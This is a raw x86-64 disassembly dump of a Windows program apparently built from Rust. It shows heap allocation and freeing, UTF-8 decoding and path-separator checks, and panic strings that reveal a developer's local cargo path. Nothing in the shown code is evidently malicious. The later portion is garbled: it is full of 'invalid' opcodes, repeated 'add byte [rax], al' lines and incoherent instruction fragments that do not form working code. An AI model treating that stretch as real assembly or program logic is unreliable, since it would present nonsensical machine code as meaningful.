cmp byte [rsp + 0x90], 2
ja 0x1400241d0
movaps xmmword [rsp + 0x280], xmm6
movaps xmmword [rsp + 0x270], xmm6
mov dil, 2
mov eax, 8
mov qword [rsp + 0x1e8], rax
xor esi, esi
mov rbx, qword [rsp + 0x78]
cmp qword [rsp + 0x1f0], 0
jne 0x1400246d8
jmp 0x1400246ef
test rsi, rsi
je 0x140024221
js 0x140024fa0
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x140024204
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140025050
mov qword [0x1400f91f8], rax
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x140024226
jmp 0x140025050
mov esi, 1
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
cmp rdi, rbx
mov r12, rbx
cmovb r12, rdi
mov qword [rsp + 0x50], 8
lea rax, [rsp + 0x58]
movups xmmword [rax], xmm6
mov rax, rbx
test r12, r12
je 0x14002427c
cmp rdi, rbx
jae 0x140024276
mov rax, qword [rsp + 0x30]
cmp byte [rax + r12], 0xbf
jle 0x14002502f
mov rax, rbx
sub rax, r12
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x70], rsi
add r12, qword [rsp + 0x30]
mov qword [rsp + 0x210], rax
lea rbx, [r12 + rax]
mov esi, 8
xor r14d, r14d
xor ecx, ecx
mov qword [rsp + 0x150], r12
xor ebp, ebp
jmp 0x140024338
imul rax, r14, 0x38
mov qword [rsi + rax], r13
mov rcx, qword [rsp + 0x158]
mov qword [rsi + rax + 8], rcx
mov qword [rsi + rax + 0x10], r15
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rsi + rax + 0x18], xmm0
mov rcx, qword [rsp + 0xa0]
mov qword [rsi + rax + 0x28], rcx
mov byte [rsi + rax + 0x30], dil
mov ecx, dword [rsp + 0x120]
mov edx, dword [rsp + 0x123]
mov dword [rsi + rax + 0x31], ecx
mov dword [rsi + rax + 0x34], edx
inc r14
mov qword [rsp + 0x60], r14
cmp byte [rsp + 0x88], 0
lea r15, [rsp + 0xd0]
mov r13d, 0
mov rcx, qword [rsp + 0x48]
je 0x1400244f0
mov rax, rbp
mov rbp, rcx
nop
mov r8, rbp
cmp r12, rbx
je 0x140024420
mov rcx, r12
movzx r11d, byte [r12]
movzx edx, r11b
test dl, dl
js 0x140024370
lea r12, [rcx + 1]
jmp 0x1400243e0
mov r9d, edx
and r9d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp dl, 0xdf
jbe 0x1400243bf
movzx r10d, byte [rcx + 2]
shl edi, 6
and r10d, 0x3f
or r10d, edi
cmp r11b, 0xf0
jb 0x1400243cf
lea r12, [rcx + 4]
movzx edx, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r9d
cmp edx, 0x110000
jne 0x1400243e0
jmp 0x140024423
lea r12, [rcx + 2]
shl r9d, 6
or r9d, edi
mov edx, r9d
jmp 0x1400243e0
lea r12, [rcx + 3]
shl r9d, 0xc
or r10d, r9d
mov edx, r10d
nop dword [rax]
mov rbp, r12
sub rbp, rcx
add rbp, r8
cmp dl, 0x5c
setne cl
cmp dl, 0x2f
setne r9b
cmp edx, 0x7f
ja 0x140024340
and cl, r9b
jne 0x140024340
mov cl, 1
mov dword [rsp + 0x88], ecx
mov qword [rsp + 0x48], rbp
jmp 0x14002444a
mov r12, rbx
mov rcx, qword [rsp + 0x210]
cmp rcx, rax
je 0x1400244f0
mov dword [rsp + 0x88], 0
mov rbp, rax
mov qword [rsp + 0x48], r8
mov r8, rcx
mov rcx, qword [rsp + 0x150]
lea rdx, [rcx + rax]
sub r8, rax
mov rcx, r15
call fcn.14004d2b0
movzx edi, byte [rsp + 0x100]
mov r13, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x158], rax
mov r15, qword [rsp + 0xe0]
cmp dil, 2
je 0x140024590
lea rcx, [rsp + 0xe9]
mov rax, qword [rcx + 0xf]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rcx - 1]
movaps xmmword [rsp + 0x90], xmm0
mov eax, dword [rcx + 0x18]
mov ecx, dword [rcx + 0x1b]
mov dword [rsp + 0x120], eax
mov dword [rsp + 0x123], ecx
cmp r14, qword [rsp + 0x58]
jne 0x1400242c0
lea rcx, [rsp + 0x50]
mov rdx, r14
call fcn.14004dc00
mov rsi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x60]
jmp 0x1400242c0
mov rsi, qword [rsp + 0x1f8]
cmp qword [rsp + 0x40], rsi
mov r12, qword [rsp + 0x148]
lea rbp, [rsp + 0x160]
mov rdi, qword [rsp + 0x78]
jne 0x14002455e
cmp r14, qword [rsp + 0x58]
jne 0x14002452d
lea rcx, [rsp + 0x50]
mov rdx, r14
call fcn.14004dc00
mov r14, qword [rsp + 0x60]
mov rax, qword [rsp + 0x50]
imul rcx, r14, 0x38
mov qword [rax + rcx], 1
movups xmmword [rax + rcx + 8], xmm6
mov qword [rax + rcx + 0x18], 8
movups xmmword [rax + rcx + 0x20], xmm6
mov byte [rax + rcx + 0x30], 0
inc r14
mov qword [rsp + 0x60], r14
test rsi, rsi
je 0x14002472b
mov r8, qword [rsp + 0x30]
movzx eax, byte [r8 + rsi - 1]
test al, al
lea r14, [rsp + 0x198]
js 0x140024737
movzx eax, al
jmp 0x140024786
mov rsi, qword [rsp + 0x50]
test r14, r14
lea rbp, [rsp + 0x160]
je 0x140024660
xor ebx, ebx
jmp 0x1400245bc
inc rbx
cmp rbx, r14
je 0x140024660
imul r12, rbx, 0x38
cmp qword [rsi + r12 + 8], 0
je 0x1400245de
lea rax, [rsi + r12]
mov r8, qword [rax]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + r12 + 0x18]
mov qword [rsp + 0x48], rax
mov rbp, qword [rsi + r12 + 0x28]
test rbp, rbp
je 0x140024630
mov rax, qword [rsp + 0x48]
lea rdi, [rax + 0x10]
jmp 0x140024609
add rdi, 0x20
dec rbp
je 0x140024630
mov eax, dword [rdi - 0x10]
cmp rax, 4
jb 0x140024600
cmp eax, 4
cmp qword [rdi], 0
je 0x140024600
mov r8, qword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140024600
cmp qword [rsi + r12 + 0x20], 0
lea rbp, [rsp + 0x160]
je 0x1400245b0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x48]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400245b0
cmp qword [rsp + 0x58], 0
mov r12, qword [rsp + 0x148]
mov edi, dword [rsp + 0x3c]
je 0x140024686
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x80], 0
lea r14, [rsp + 0x198]
mov rbx, qword [rsp + 0x78]
je 0x1400246b2
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call qword [sym.imp.kernel32.dll_HeapFree]
mov sil, 2
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x80], r15
lea r15, [rsp + 0xd0]
xor r13d, r13d
cmp qword [rsp + 0x1f0], 0
je 0x1400246ef
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x1e0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x140], 0
je 0x14002470c
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp sil, 2
mov r8, qword [rsp + 0x80]
mov r9, qword [rsp + 0x158]
jne 0x140024821
jmp 0x140024ebc
xor esi, esi
lea r14, [rsp + 0x198]
jmp 0x140024794
movzx ecx, byte [r8 + rsi - 2]
cmp cl, 0xc0
jge 0x140024763
movzx edx, byte [r8 + rsi - 3]
cmp dl, 0xc0
jge 0x140024768
movzx r8d, byte [r8 + rsi - 4]
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x14002476b
and ecx, 0x1f
jmp 0x140024773
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx eax, al
or eax, ecx
cmp eax, 0x7f
ja 0x140024e68
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete sil
or sil, cl
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x58]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x280], xmm0
mov eax, dword [rsp + 0x201]
mov ecx, dword [rsp + 0x204]
mov dword [rsp + 0x11b], ecx
mov dword [rsp + 0x118], eax
movaps xmmword [rsp + 0x270], xmm6
cmp qword [rsp + 0x1f0], 0
je 0x1400247f7
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x1e0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x140], 0
je 0x140024814
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
xor edi, edi
mov r8, qword [rsp + 0x80]
mov r9, r8
mov eax, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x11b]
lea rdx, [rsp + 0x231]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
movaps xmm0, xmmword [rsp + 0x280]
movups xmmword [rdx + 0xf], xmm0
movaps xmm0, xmmword [rsp + 0x270]
movups xmmword [rdx + 0x27], xmm0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x158], r9
mov qword [rsp + 0x220], r9
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x228], r8
mov byte [rsp + 0x230], dil
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x250], 8
mov byte [rsp + 0x26a], 0
mov word [rsp + 0x268], 1
mov byte [rsp + 0x26b], sil
mov dword [rsp + 0x3c], edi
jmp 0x1400248e1
movzx ebx, byte [rsp + 0x178]
cmp bl, 2
jne 0x1400249a0
mov rcx, rbp
lea rdx, [rsp + 0x218]
call fcn.14004e0a0
movzx eax, byte [rsp + 0x180]
cmp eax, 2
je 0x1400248d0
cmp eax, 3
je 0x140023a10
cmp qword [rsp + 0x170], 0
je 0x140024929
mov r8, qword [rsp + 0x168]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x160]
mov eax, esi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1400248e1
test rax, rax
je 0x1400248e1
mov rdi, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140024976
cmp qword [rbx + 0x10], 0x11
jb 0x140024964
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
dec rsi
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov edi, dword [rsp + 0x3c]
jmp 0x1400248e1
mov rdi, qword [rsp + 0x160]
movups xmm7, xmmword [rsp + 0x168]
lea rcx, [rsp + 0x179]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0xd0], eax
mov dword [rsp + 0xd3], ecx
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x1400249f4
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140024fec
mov qword [0x1400f91f8], rax
mov r8d, 0x80
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140024fec
mov rsi, rax
mov qword [rax], rdi
movups xmmword [rax + 8], xmm7
mov byte [rax + 0x18], bl
mov eax, dword [rsp + 0xd0]
mov ecx, dword [rsp + 0xd3]
mov dword [rsi + 0x19], eax
mov dword [rsi + 0x1c], ecx
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 4
mov qword [rsp + 0xa0], 1
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x1b0], rax
movups xmm0, xmmword [rsp + 0x258]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rsp + 0x218]
movups xmm1, xmmword [rsp + 0x228]
movups xmm2, xmmword [rsp + 0x238]
movups xmm3, xmmword [rsp + 0x248]
movaps xmmword [rsp + 0x190], xmm3
movaps xmmword [rsp + 0x180], xmm2
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
mov edi, 1
mov eax, 0x20
mov qword [rsp + 0x88], rax
jmp 0x140024ae1
movzx ebx, byte [rsp + 0xe8]
cmp bl, 2
jne 0x140024b9c
mov rcx, r15
mov rdx, rbp
call fcn.14004e0a0
movzx eax, byte [rsp + 0xf0]
cmp eax, 2
je 0x140024ad0
cmp eax, 3
je 0x140024c30
cmp qword [rsp + 0xe0], 0
je 0x140024b24
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0xd0]
mov eax, ebx
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140024ae1
test rax, rax
je 0x140024ae1
mov r14, qword [rbx - 1]
mov r15, qword [rbx + 7]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x140024b72
cmp qword [r15 + 0x10], 0x11
jb 0x140024b60
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
dec rbx
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rsp + 0x198]
lea r15, [rsp + 0xd0]
jmp 0x140024ae1
mov r14, qword [rsp + 0xd0]
movups xmm7, xmmword [rsp + 0xd8]
lea rcx, [rsp + 0xe9]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x53], ecx
cmp rdi, qword [rsp + 0x98]
je 0x140024c10
mov rax, rdi
shl rax, 5
mov qword [rsi + rax], r14
movups xmmword [rsi + rax + 8], xmm7
mov byte [rsi + rax + 0x18], bl
mov ecx, dword [rsp + 0x50]
mov edx, dword [rsp + 0x53]
mov dword [rsi + rax + 0x19], ecx
mov dword [rsi + rax + 0x1c], edx
inc rdi
mov qword [rsp + 0xa0], rdi
add qword [rsp + 0x88], 0x20
lea r14, [rsp + 0x198]
jmp 0x140024ae1
mov r8d, 1
lea rcx, [rsp + 0x90]
mov rdx, rdi
call fcn.1400af300
mov rsi, qword [rsp + 0x90]
jmp 0x140024bcb
mov rcx, rbp
call fcn.14000a2e0
mov r12, qword [rsp + 0x90]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x150], rax
mov r15, rdi
shl r15, 5
add r15, r12
mov qword [rsp + 0x48], r12
test rdi, rdi
mov edi, dword [rsp + 0x3c]
je 0x140024de0
mov rax, qword [rsp + 0x48]
lea r12, [rax + 0x20]
jmp 0x140024ca3
add r12, 0x20
add r13, 0x20
cmp r13, r15
lea rbp, [rsp + 0x160]
mov r13d, 0
mov edi, dword [rsp + 0x3c]
je 0x140024e30
cmp byte [r12 - 8], 2
je 0x140024de0
lea r13, [r12 - 0x20]
mov rdi, qword [r12 - 0x20]
mov rcx, rbp
mov rbp, qword [r12 - 0x18]
mov r8, qword [r13 + 0x10]
mov rdx, rdi
call fcn.1400433d0
cmp qword [rsp + 0x160], 0
je 0x140024cf0
test rbp, rbp
jne 0x140024dbd
jmp 0x140024c80
mov r14, qword [rsp + 0x168]
mov rbx, qword [rsp + 0x170]
test rbx, rbx
je 0x140024d4f
js 0x140024fa0
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x140024d34
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140024f91
mov qword [0x1400f91f8], rax
mov rcx, rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x140024d54
jmp 0x140024f91
mov esi, 1
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rsp + 0x138]
cmp rdx, qword [rsp + 0x130]
jne 0x140024d89
lea rcx, [rsp + 0x128]
call fcn.140099e70
mov rdx, qword [rsp + 0x138]
lea r14, [rsp + 0x198]
mov rax, qword [rsp + 0x128]
mov rcx, rdx
shl rcx, 4
mov qword [rax + rcx], rsi
mov qword [rax + rcx + 8], rbx
inc rdx
mov qword [rsp + 0x138], rdx
test rbp, rbp
je 0x140024c80
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140024c80
cmp r15, r12
je 0x140024e30
mov rsi, qword [rsp + 0x48]
sub rsi, r12
add rsi, qword [rsp + 0x88]
shr rsi, 5
add r12, 8
jmp 0x140024e09
add r12, 0x20
dec rsi
je 0x140024e30
cmp qword [r12], 0
je 0x140024e00
mov r8, qword [r12 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140024e00
cmp qword [rsp + 0x150], 0
mov r12, qword [rsp + 0x148]
lea r15, [rsp + 0xd0]
je 0x140023a1d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x48]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140023a1d
xor esi, esi
jmp 0x140024794
mov rax, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x1d8]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0x128]
mov qword [rcx], rax
mov rax, qword [rsp + 0x130]
mov qword [rcx + 8], rax
jmp 0x140024f5c
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x70], rax
mov r9, qword [rsp + 0x168]
mov r8, qword [rsp + 0x170]
mov rbx, r9
mov rdi, r8
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
je 0x140024edc
mov rsi, qword [rsp + 0x70]
jmp 0x140024efa
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
mov rsi, qword [rsp + 0x70]
je 0x140025061
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140025061
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rcx, qword [rsp + 0x1d8]
mov qword [rcx + 8], rax
lea rax, [0x1400bb398]
mov qword [rcx + 0x10], rax
mov qword [rcx], 0
cmp qword [rsp + 0x130], 0
je 0x140024f5c
mov r8, qword [rsp + 0x128]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x290]
movaps xmm7, xmmword [rsp + 0x2a0]
add rsp, 0x2b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
call fcn.1400a9cf0
ud2
mov ecx, 1
mov rdx, rbx
call fcn.1400a9bd0
ud2
call fcn.1400401e0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e0518]
mov edx, 0x2b
call fcn.1400a9e70
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e0530]
mov edx, 0x2b
call fcn.1400a9e70
ud2
mov ecx, 1
mov edx, 1
call fcn.1400a9bd0
ud2
mov ecx, 8
mov edx, 0x80
call fcn.1400a9bd0
ud2
lea rax, [0x1400e0548]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rbx
xor r8d, r8d
mov r9, r12
call fcn.1400aa440
ud2
lea r8, str.library_std_srcpath.rs
mov rdx, qword [rsp + 0x40]
call fcn.1400a9cf0
ud2
lea rax, [0x1400e0560]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x30]
mov rdx, rbx
mov r8, r12
mov r9, rbx
call fcn.1400aa440
ud2
mov ecx, 1
mov rdx, qword [rsp + 0x40]
call fcn.1400a9bd0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.1400a9bd0
ud2
or dword [rax], eax
mov qword [rsp + 0x50], rax
xor r13d, r13d
mov qword [rsp + 0x130], rax
jmp 0x140025f70
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x60], rax
lea rax, [0x140049d50]
mov qword [rsp + 0x68], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x90], rax
invalid
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xb0], 0
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x60]
mov qword [rsp + 0xa0], rax
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x90
add byte [rax], al
add al, ch
sbb eax, 0x840001c2
invalid
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x90
add byte [rax], al
add al, ch
sbb eax, 0x840001c2
ror byte [rdi], 0x85
invalid
test esi, ecx
jne case.0x140026776.38
nop dword [rax + rax]
test r13, r13
je 0x140025fb0
dec r13
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
lea r15, [r8 + 0x18]
movzx eax, byte [r8]
lea rcx, [0x1400ef230]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r12, qword [r8 + 8]
mov rsi, qword [r8 + 0x10]
xor edi, edi
jmp 0x1400261ca
test r14, r14
mov rcx, qword [rsp + 0x50]
je 0x1400291e5
movzx edx, byte [rcx]
movzx r9d, dl
test r9b, r9b
js 0x14002603b
lea rax, [rcx + r14]
cmp r9d, 0x20
je 0x14002634d
test byte [rbp + 3], dh
add byte [rax], al
cmp r9d, 0x25
je 0x140026099
cmp r9d, 0x110000
je 0x1400291e5
lea edx, [r9 - 9]
cmp edx, 5
jb 0x14002634d
cmp r9d, 0x80
jb 0x1400267b6
mov edx, r9d
shr edx, 8
cmp edx, 0x1f
jg 0x14002632e
test edx, edx
je 0x140026788
cmp edx, 0x16
jne 0x1400267b6
cmp r9d, 0x1680
je 0x14002634d
invalid
add eax, dword [rax]
invalid
jmp 0x1400267b6
mov eax, r9d
and eax, 0x1f
movzx r8d, byte [rcx + 1]
and r8d, 0x3f
mov dh, 0x41
add dword [rcx - 0x7d], eax
loopne 0x140026089
cmp r9b, 0xdf
jbe 0x14002622f
movzx r9d, byte [rcx + 2]
shl r8d, 6
and r9d, 0x3f
loope 0x1400260a0
loope 0x1400260a0
or r9d, r8d
cmp dl, 0xf0
jb 0x1400262f9
add al, byte [rax]
invalid
movzx edx, byte [rcx + 3]
and eax, 7
shl eax, 0x12
shl r9d, 6
push rcx
add eax, dword [rbx - 0x1f3ef820]
adc al, byte [rcx - 0x3f]
loope 0x140026081
and edx, 0x3f
or edx, r9d
invalid
or edx, eax
ret 0x8941
mov r9d, edx
lea rax, [rcx + r14]
cmp r9d, 0x20
jne 0x140025fd8
xor dword [rcx - 0x7d], eax
stc
and byte [rdi], cl
test dword [rdi + rdi*8 - 1], eax
invalid
jmp 0x14002634d
cmp r14, 2
jb case.0x140026776.38
xchg esi, eax
xor eax, dword [rax]
invalid
xchg esi, eax
xor eax, dword [rax]
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x50
mov r9, qword [rsp + 0x50]
lea rcx, [r9 + 1]
movzx edx, byte [rcx]
cmp dl, 0xbf
jle 0x1400294cc
mov ss, word [rsp + rsi]
add byte [rax], al
mov ss, word [rsp + rsi]
adc al, 0x34
add byte [rax], al
movzx r10d, dl
test dl, dl
js 0x14002624b
mov r8d, 1
jmp 0x1400265da
add byte [rcx - 0x75], cl
pop rax
or byte [rcx - 0x75], cl
jo 0x1400260e7
mov rbx, qword [r8 + 8]
mov rsi, qword [r8 + 0x10]
mov esi, dword [rax + 0x10]
test rsi, rsi
je 0x1400262a1
test cl, al
add dword [rax], eax
invalid
js 0x1400294c5
fbstp tbyte [rbx]
add byte [rax], al
movzx eax, byte [0x1400f92c0]
mov dh, 5
sal dword [rcx], cl
or eax, 0x58b4800
mov rax, qword [0x1400f91f8]
test rax, rax
add al, 0x31
or eax, 0xc0854800
jne 0x14002610f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
test eax, eax
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
test eax, eax
je 0x1400294b6
scasb al, byte [rdi]
xor eax, dword [rax]
add byte [rax - 0x77], cl
add eax, 0xd30e9
mov qword [0x1400f91f8], rax
mov rcx, rax
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r12, rax
test rax, rax
jne 0x1400262a7
jmp 0x1400294b6
xor eax, dword [rax]
add byte [rcx + 0xf], al
invalid
invalid
movzx esi, byte [r8 + 2]
mov dh, 0x70
add bh, byte [rdx + 2]
mov edx, 2
movzx eax, byte [r8 + 1]
lea rcx, [0x1400ef410]
movsxd r8, dword [rcx + rax*4]
add r8, rcx
mov rdi, r15
mov rax, qword [rsp + 0x138]
mov eax, dword [rsp + 0x138]
mov eax, dword [rsp + 0x138]
mov ecx, dword [rsp + 0xcc]
jmp r8
invalid
and al, 0xcc
add byte [rax], al
add byte [rcx - 1], al
invalid
invalid
loopne 0x1400261aa
mov rbx, qword [r8 + 8]
mov ebx, dword [rax + 8]
mov rsi, qword [r8 + 0x10]
test rsi, rsi
je 0x1400262ba
adc byte [rax - 0x7b], cl
test byte [rdi], 0x84
add qword [r8], rax
add byte [rdi], cl
mov byte [rsi + 0x33], cl
xor r8, qword [rax]
invalid
js 0x1400294c5
xor r8, qword [rax]
xor eax, dword [rax]
add byte [rdi], cl
mov dh, 5
xor dword [0x1458da981], ecx
jae 0x1400261b3
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
add byte [rax - 0x7b], cl
invalid
or eax, 0xc0854800
add byte [rax - 0x7b], cl
sal byte [rbp + 0x16], 0xff
jne 0x1400261a0
call qword [sym.imp.kernel32.dll_GetProcessHeap]
adc eax, 0x8a260
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sbb eax, 0x48000033
add byte [rax - 0x77], cl
add eax, 0xd3058
test rax, rax
je 0x1400294b6
invalid
add byte [rax - 0x77], cl
add eax, 0xd3058
mov qword [0x1400f91f8], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r12, rax
test rax, rax
invalid
movabs byte [0xc08548c489490008], al
ror byte [rdi], 0x85
invalid
jne 0x1400262c0
jmp 0x1400294b6
div dword [rdx]
add byte [rax], al
mov r12, qword [r8 + 8]
mov rsi, qword [r8 + 0x10]
mov dil, 2
mov bh, 2
mov bh, 2
mov qword [rsp + 0x30], r15
mov r15, r14
jmp 0x140026501
movzx r8d, byte [r8 + 1]
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
adc edi, dword [rcx + 0x13]
adc edi, dword [rcx + 0x13]
cmovb ecx, eax
movzx ecx, cl
lea rdx, [0x1400ef24c]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov r8b, 4
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
mov qword [rsp + 0x30], r15
jmp rcx
shl eax, 6
or eax, r8d
mov r9d, eax
lea rax, [rcx + r14]
cmp r9d, 0x20
jne 0x140025fd8
jmp 0x14002634d
and r10d, 0x1f
movzx r8d, byte [r9 + 2]
and r8d, 0x3f
cmp dl, 0xdf
jbe 0x14002630f
movzx eax, byte [r9 + 3]
shl r8d, 6
and eax, 0x3f
or eax, r8d
cmp dl, 0xf0
jb 0x1400265a1
movzx edx, byte [r9 + 4]
and r10d, 7
shl r10d, 0x12
shl eax, 6
and edx, 0x3f
or edx, eax
or edx, r10d
rol byte [rcx - 0x77], cl
rol byte [rcx + 0x110000fa], cl
add byte [rbp + 0x7a], dh
jmp case.0x140026776.38
mov r12d, 1
mov rcx, r12
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov dil, 1
jmp 0x1400262d1
